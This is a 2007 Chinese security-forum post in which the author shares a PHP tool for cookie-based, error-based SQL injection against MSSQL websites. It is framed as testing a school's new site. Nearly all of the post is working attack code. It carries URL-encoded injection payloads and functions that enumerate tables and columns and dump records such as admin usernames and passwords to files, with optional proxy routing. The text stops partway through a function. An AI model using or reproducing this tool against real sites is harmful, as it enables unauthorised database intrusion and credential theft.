楼主 大 中 小 发表于 2007-9-20 15:24  只看该作者

[原创]MSSQL错误提示开启下的 COOKIE注入辅助工具[php版]

文章作者：MIKA[EST]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

好久没发帖子了，嘿嘿~~~上班了，很少能上网了哦~~~~昨天俺回到家，学校领导给俺打电话说让俺帮忙检测一下学校新更新的网站安全做得怎么样，哎~~~虽然俺一百个不乐意但是领导的面子还是要给的嘛
结果，找了N久也没找到什么洞洞可以用的（PS：俺的水平本来就不怎么样嘛），给领导打电话汇报了一下，说什么花钱买的就是比自己做的好（PS：原来的是俺做的，安全性确实差了点，但俺要求用php写，领导非不让，结果用asp俺是一边看着参考一边写的，能完成就不错了，根本顾不上安全不安全了），俺一听这话可真是气不打一处来，扔下电话俺就给BF打电话，还真灵。半个时辰的工夫，他就在QQ上给俺发了过来：
引用:
老公 21:10:04
数据库类型:sql server
错误提示:开启
注入类型:cookie注入
有无过滤:无
注入url: http://www.testforme.net/sid=cif1314
cookie:"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL"
里面的url都被我替换过了，别问我为什么啊！我可不希望被你们再黑一次啊（不然领导要打PP了）
马上去查了一下cookie注入的资料，很快就看完了。开始手工测试，我的天啊，按照资料上的方法我光暴一个表名就得敲半天的键盘，对于像我这种懒人来说绝对是噩梦啊

最省事的方法就是写程序了，还记得我原来用php写过一个注入猜解工具，于是找出来，改了改代码就OK了。嘿嘿，代码如下：
Code Language : PHP
  1. <?php
  2. ///////////////////////////////////////////////////////////////////////////////////////
  3. ///////////////////////////////////////////////////////////////////////////////////////
  4. //cookie注入辅助工具 by mika[EST]
  5. //只针对mssql数据库，且错误提示开启。
  6. //用法非常简单：
  7. //首先将你实际的$cookie变量的值替换到全局变量$cookie中。并将可注入的字段后面加上MIKA这
  8. //个关键字，如下例所示，不要有空格。
  9. //比如下面这个cookie：
  10. //\"my web=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\"
  11. //其中myset这个字段没有过滤好，存在注入漏洞，那么你就需要在template后面加上MIKA这个关键字
  12. //因此$cookie全局变量就成了如下这个样子：
  13. //$cookie=\"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\";
  14. //实际的referer值替换到全局变量$referer中。
  15. //存在注入的url地址替换到全局变量$url中。
  16. //另外，全局变量$bstr的值决定了注入模式，0代表数字型，1代表字符型，根据实际情况修改
  17. //全局变量$proxy决定了是否使用代理，如果使用的话，则修改$proxy_host和$proxy_port为相应
  18. //的代理地址和端口即可。
  19. //by mika[EST]
  20. ///////////////////////////////////////////////////////////////////////////////////////
  21.  
  23. ini_set(\"max_execution_time\",0);
  24. print_r('
  25. ---------------------------Code By MIKA[EST]------------------------------------
  26.  
  27. 使用方法：
  28.    php injcookie.php <-t> [表名] [-f [字段名]]
  29.  
  30. 注意：如果要猜测多个字段的值请用逗号隔开
  31. 比如：
  32.  暴取所有数据表：php injcookie.php -t
  33.  
  34.  暴取某个表的字段：php injcookie.php -t admin -f
  35.  
  36.  暴取表的内容：php injcookie.php -t admin -f username,password
  37.  
  38. ');
  39. global $curl,$referer,$cookie,$url;
  40. $cookie=\"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\";
  41. $referer=\"http://www.testforme.net/hello.asp?sid=cifs1314\";
  42. $url=\"http://www.testforme.net/hello.asp?sid=cifs1314\";
  43.  
  44.  
  45. $tab_exp=\"%20and%201=(select%20top%201%20nchar(124)%2bname%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85)%20and%20name%20not%20in(MFM_TABLES))--\";
  46. $field_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcol_name(object_id(TABLE_NAME),MFM_NUM)%2Bnchar(124)%20from%20sysobjects)%3E0--\";
  47. $value_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcast(MFM_FIELD_NAME%20as%20varchar(8000))%2Bnchar(124)%20from%20MFM_TABLE_NAME%20where%20MFM_FIELD_NAME%20not%20in(MFM_VALUE))%3E0--\";
  48. $count_exp=\"%20and%20(select%20nchar(124)%2Bcast(%20count(*)%20as%20varchar(255))%2bnchar(124)%20from%20MFM_TABLE_NAME)%3E0--\";
  49. $count_table=\"%20and%201=(select%20top%201%20nchar(124)%2bcast(count(*)%20as%20varchar(8000))%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85))--\";
  50. $count_column=\"%20and%201=(select%20nchar(124)%2Bcast(count(*)%20as%20varchar(8000))%2Bnchar(124)%20from%20syscolumns%20where%20id=object_id(MFM_TABLE_NAME))--\";
  51. ///////////////////////////////////////////////////////////////////////////////////////
  52. ///////////////////////////////////////////////////////////////////////////////////////
  53. $bstr=1;//注入模式：0=数字型,1=字符型
  54. $proxy=0;//代理模式：0=无代理,1=有代理
  55. if($proxy)
  56. {
  57.  $proxy_host=\"127.0.0.1\";
  58.  $proxy_port=\"5687\";
  59. }
  60. switch($argc){
  61. case 2:
  62.  if($argv[1]!=\"-t\")
  63.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  64.  exploit_tab();
  65.  break;
  66. case 4:
  67.  if($argv[1]!=\"-t\")
  68.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  69.  if($argv[3]!=\"-f\")
  70.  die(\"unexpected argument \\"$argv[3]\\"!\n\");
  71.  $table_name=$argv[2];
  72.  exploit_field();
  73.  break;
  74. case 5:
  75.  if($argv[1]!=\"-t\")
  76.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  77.  if($argv[3]!=\"-f\")
  78.  die(\"unexpected argument \\"$argv[3]\\"!\n\");
  79.  $table_name=$argv[2];
  80.  $field_name=$argv[4];
  81.  explode_value();
  82.  break;
  83. }
  84.  
  85. ///////////////////////////////////////////////////////////////////////////////////////
  86. ///////////////////////////////////////////////////////////////////////////////////////
  87. //暴取字段值函数
  88. function explode_value()
  89. {
  90. global $bstr,$table_name,$field_name,$cookie,$count_exp,$curl;
  91. $i=1;
  92. $count=0;
  93. $fields=explode(\",\",$field_name);
  94. $sql_str=\" And (Select Top 1 nchar(124)\";
  95. $sub_str='+isNull(cast([MIKA_FIELD] as varchar(8000)),char(32))';
  96. foreach($fields as $field){
  97. $new_sub_str=str_replace('MIKA_FIELD',$field,$sub_str);
  98. $sql_str.=$new_sub_str.\"+char(92)\";
  99. }
  100. $sql_str=substr($sql_str,0,strlen($sql_str)-9);
  101. $sql_str.=\"+nchar(124) from (Select Top MIKA_NUM $field_name From [MIKA_TABLE] Where 1=1 Order by $field_name) T Order by \";
  102. $sub_str=\"MIKA_FIELD desc\";
  103. foreach($fields as $field){
  104. $sub_strs[]=str_replace('MIKA_FIELD',$field,$sub_str);
  105. }
  106. $sql_str.=implode(\",\",$sub_strs).\")>0--\";
  107. //echo $sql_str.\"\n\";
  108. $sql_str=str_replace('MIKA_TABLE',$table_name,$sql_str);
  109.  
  110. $old=str_replace('MFM_TABLE_NAME',$table_name,$count_exp);
  111. init_session();
  112. if($bstr)
  113. $new_cookie=str_replace('MIKA','%27'.$old,$cookie);
  114. else
  115. $new_cookie=str_replace('MIKA',$old,$cookie);
  116.  
  117. $re=find_value($new_cookie);
  118. $record_file=fopen(\"records-$field_name.txt\",\"w\");
  119. if($re)
  120. {
  121. $count=$re;
  122. echo \"the number of record in $table_name is: $count\n\";
  123. fputs($record_file,\"the number of record in $table_name is: $count\r\n\");
  124. }
  125.  
  126. foreach ($fields as $field){
  127.  $tmp=sprintf(\"%-32s\",$field);
  128.  $str.=$tmp;
  129. //echo $field;
  130. //echo \"\t\";
  131. }
  132. echo $str;
  133. echo \"\r\n-----------------------------------------------------------------------------\r\n\";
  134. fputs($record_file,\"$str\");
  135. fputs($record_file,\"\r\n-----------------------------------------------------------------------------\r\n\");
  136. do{
  137.  
  138. $new_sql_str=str_replace('MIKA_NUM',$i,$sql_str);
  139. //echo $sql_str.\"\n\";
  140. if($bstr)
  141. $new_cookie=str_replace('MIKA','%27'.urlencode($new_sql_str),$cookie);
  142. else
  143. $new_cookie=str_replace('MIKA',urlencode($new_sql_str),$cookie);
  144. $re=find_value($new_cookie);
  145. if($re)
  146. {
  147.  $res=explode(\"\\\",$re);
  148.  $str=\"\";
  149.  foreach($res as $ree){
  150.  $tmp=sprintf(\"%-32s\",$ree);
  151.  $str.=$tmp;
  152.  //echo $ree;
  153.  //echo \"\t\";
  154.  }
  155.  echo $str;
  156.  echo \"\n\";
  157.  fputs($record_file,\"$str\r\n\");
  158. }
  159. $i++;
  160. }while($i<=$count);
  161. fclose($record_file);
  162. }
  163. ///////////////////////////////////////////////////////////////////////////////////////
  164.  
  165. ///////////////////////////////////////////////////////////////////////////////////////
  166. //另一种方式暴取表名的函数
  167. function explode_tab(){
  168. global $bstr,$curl,$cookie;
  169. $num=1;
  170. $old_re=\"\";
  171. $re=\"\";
  172. $words=\" And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top MIKA_NUM id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--\";
  173. init_session();
  174.  
  175. do{
  176. $new_words=str_replace('MIKA_NUM',$num,$words);
  177. if($bstr)
  178. $new_cookie=str_replace('MIKA',\"%27\".urlencode($new_words),$cookie);
  179. else
  180. $new_cookie=str_replace('MIKA',urlencode($new_words),$cookie);
  181. $re=find_value($new_cookie);
  182. $table_file=fopen(\"table_names.txt\",\"a\");
  183. if($re!=$old_re)
  184.  {
  185. echo \"|------------+\".$re.\"\n\";
  186. fputs($table_file,\"|------------+\".$re.\"\r\n\");
  187.  }
  188. else
  189. break;
  190. $old_re=$re;
  191. $num++;
  192. }while($re);
  193. fclose($table_file);
  194. }
  195. ///////////////////////////////////////////////////////////////////////////////////////
  196.  
  197. ///////////////////////////////////////////////////////////////////////////////////////
  198. //初始化会话函数
  199. function init_session(){
  200. global $proxy,$curl,$referer,$url,$proxy_host,$proxy_port;
  201. $curl=curl_init();
  202. curl_setopt($curl,CURLOPT_HEADER,0);
  203. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  204. curl_setopt($curl,CURLOPT_REFERER,$referer);
  205. curl_setopt($curl,CURLOPT_URL,$url);
  206. if($proxy)
  207. curl_setopt($curl,CURLOPT_PROXY,\"$proxy_host:$proxy_port\");
  208. }
  209. ///////////////////////////////////////////////////////////////////////////////////////
  210.  
  211. ///////////////////////////////////////////////////////////////////////////////////////
  212. //通用取值函数
  213. function find_value($cookie){
  214. global $curl;
  215. //echo $cookie.\"\n\";
  216. curl_setopt($curl,CURLOPT_COOKIE,$cookie);
  217. $content=curl_exec($curl);
  218.  
  219. //echo $content;
  220. $re=preg_match(\"/(\|.+\|)/i\",$content,$result);
  221. if($re)
  222. {
  223. return str_replace('|','',$result[1]);
  224. }
  225. return 0;
  226. }
  227. ///////////////////////////////////////////////////////////////////////////////////////
  228.  
  229. ///////////////////////////////////////////////////////////////////////////////////////
  230. //字符串转换为msssql的16进制数值
  231.  
  232. function str2sqlhex($str){
  233. $temp=\"0x\";
  234. for($i=0;$i<strlen($str);$i++){
  235. //echo $str[$i].\"\n\";
  236. $temp.=dechex(ord($str[$i])).\"00\";
  237. }
  238. //echo $temp.\"\n\";
  239. return $temp;
  240. }
  241. ///////////////////////////////////////////////////////////////////////////////////////
  242.  
  243. ///////////////////////////////////////////////////////////////////////////////////////
  244. //暴取表名函数
  245.  
  246. function exploit_tab(){
  247. global $bstr,$cookie,$tab_exp,$count_table,$curl;
  248. $table=Null;
  249. $temp=Null;
  250. init_session();
  251. if($bstr)
  252. $new_cookie=str_replace('MIKA','%27'.$count_table,$cookie);
  253. else
  254. $new_cookie=str_replace('MIKA',$count_table,$cookie);
  255.  
  256. $table_file=fopen(\"table_names.txt\",\"w\");
  257.  
  258. if($re=find_value($new_cookie)){
  259. echo \"[+]Number of tables:$re\n\";
  260. fputs($table_file,\"[+]Number of tables:$re\r\n\r\n\");
  261. }
  262. else{
  263. fputs($table_file,\"TABLES:\r\n\r\n\");}
  264. /*do{
  265. if($table==Null){
  266. $new_url=str_replace('MFM_TABLES',\"''\",$tab_exp);
  267. }
  268. else{
  269. $new_url=str_replace('MFM_TABLES',$temp,$tab_exp);
  270. }
  271. if($bstr)
  272. $new_cookie=str_replace('MIKA','%27'.$new_url,$cookie);
  273. else
  274. $new_cookie=str_replace('MIKA',$new_url,$cookie);
  275.  
  276. $re=find_value($new_cookie);
  277. if($re)
  278. {
  279. $table=$re;
  280. if($temp==Null){
  281. //$temp=\"'\".$table.\"'\";
  282. $temp=str2sqlhex($table);
  283. }else{
  284. //$temp.=\",\".\"'\".$table.\"'\";
  285. $temp.=\",\".str2sqlhex($table);
  286. }
  287. fputs($table_file,\"|------------+\".$table.\"\n\");
  288. echo \"|------------+\".$table.\"\n\";
  289. }
  290. }while($re);*/
  291. fclose($table_file);
  292. explode_tab();
  293.  
  294. }
  295. ///////////////////////////////////////////////////////////////////////////////////////
  296.  
  297. ///////////////////////////////////////////////////////////////////////////////////////
  298. //暴取字段函数
  299. function exploit_field(){
  300. global $bstr,$table_name,$cookie,$field_exp,$count_column,$curl;
  301. $old_url=str_replace('TABLE_NAME',str2sqlhex($table_name),$field_exp);
  302. $count_column=str_replace('MFM_TABLE_NAME',str2sqlhex($table_name),$count_column);
  303. $num=1;
  304.  
  305. init_session();
  306. if($bstr)
  307. $new_cookie=str_replace('MIKA','%27'.$count_column,$cookie);
  308. else
  309. $new_cookie=str_replace('MIKA',$count_column,$cookie);
  310.  
  311. $field_file=fopen(\"$table_name-fields.txt\",\"w\");
  312. if($re=find_value($new_cookie)){
  313. echo \"[+]Numbers of columns in $table_name:$re\n\";
  314. fputs($field_file,\"[+]Numbers of columns in $table_name:$re\r\n\r\n\");
  315. }else{
  316. fputs($field_file,$table_name.\"\r\n\r\n\");
  317. }
  318.